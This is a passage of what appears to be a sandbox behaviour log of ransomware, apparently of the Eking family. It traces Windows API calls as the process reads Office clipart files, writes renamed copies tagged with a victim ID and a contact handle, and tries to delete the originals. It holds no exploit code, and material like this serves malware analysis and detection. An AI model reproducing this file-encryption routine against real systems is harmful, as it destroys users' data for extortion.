Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0271.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0271.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.531] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.531] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0271.532] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xcb4, lpOverlapped=0x0) returned 1 [0271.535] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xcc0, lpOverlapped=0x0) returned 1 [0271.536] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.536] CloseHandle (hObject=0x3b4) returned 1 [0271.536] CloseHandle (hObject=0x368) returned 1 [0271.537] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0 [0271.537] SetEvent (hEvent=0x2b8) returned 1 [0271.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.540] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=6165) returned 1 [0271.540] CloseHandle (hObject=0x368) returned 1 [0271.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0271.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0271.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.541] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.541] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0271.542] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1815, lpOverlapped=0x0) returned 1 [0271.544] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1820, lpOverlapped=0x0) returned 1 [0271.545] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.545] CloseHandle (hObject=0x368) returned 1 [0271.548] CloseHandle (hObject=0x3b4) returned 1 [0271.548] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0 [0271.548] SetEvent (hEvent=0x2b8) returned 1 [0271.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.549] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1382) returned 1 [0271.549] CloseHandle (hObject=0x3b4) returned 1 [0271.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0271.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0271.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.550] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.550] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0271.552] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x566, lpOverlapped=0x0) returned 1 [0271.796] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x570, lpOverlapped=0x0) returned 1 [0271.798] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.798] CloseHandle (hObject=0x3b4) returned 1 [0271.798] CloseHandle (hObject=0x368) returned 1 [0271.798] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0 [0271.799] SetEvent (hEvent=0x2b8) returned 1 [0271.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.801] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=6938) returned 1 [0271.801] CloseHandle (hObject=0x368) returned 1 [0271.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0271.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0271.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.802] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.802] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0271.803] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1b1a, lpOverlapped=0x0) returned 1 [0271.841] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1b20, lpOverlapped=0x0) returned 1 [0271.842] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.842] CloseHandle (hObject=0x368) returned 1 [0271.843] CloseHandle (hObject=0x3b4) returned 1 [0271.843] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0 [0271.843] SetEvent (hEvent=0x2b8) returned 1 [0271.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.844] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=12356) returned 1 [0271.844] CloseHandle (hObject=0x3b4) returned 1 [0271.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0271.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0271.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.845] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.845] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0271.847] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3044, lpOverlapped=0x0) returned 1 [0271.874] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3050, lpOverlapped=0x0) returned 1 [0271.876] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.876] CloseHandle (hObject=0x3b4) returned 1 [0271.876] CloseHandle (hObject=0x368) returned 1 [0271.878] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0 [0271.878] SetEvent (hEvent=0x2b8) returned 1 [0271.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.100] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2280) returned 1 [0272.100] CloseHandle (hObject=0x368) returned 1 [0272.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0272.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0272.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.114] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.114] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0272.115] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x8e8, lpOverlapped=0x0) returned 1 [0272.118] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x8f0, lpOverlapped=0x0) returned 1 [0272.120] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0272.120] CloseHandle (hObject=0x368) returned 1 [0272.120] CloseHandle (hObject=0x3a8) returned 1 [0272.121] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0 [0272.122] SetEvent (hEvent=0x2b8) returned 1 [0272.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.123] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10562) returned 1 [0272.123] CloseHandle (hObject=0x3a8) returned 1 [0272.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0272.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0272.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.124] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.124] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0272.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0272.129] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2942, lpOverlapped=0x0) returned 1 [0272.135] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2950, lpOverlapped=0x0) returned 1 [0272.137] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0272.137] CloseHandle (hObject=0x3a8) returned 1 [0272.137] CloseHandle (hObject=0x368) returned 1 [0272.137] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0 [0272.138] SetEvent (hEvent=0x2b8) returned 1 [0272.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.139] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4846) returned 1 [0272.139] CloseHandle (hObject=0x368) returned 1 [0272.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0272.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0272.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 